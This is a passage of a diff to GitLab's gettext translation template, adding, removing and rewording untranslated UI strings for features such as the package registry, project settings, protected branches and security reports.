msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
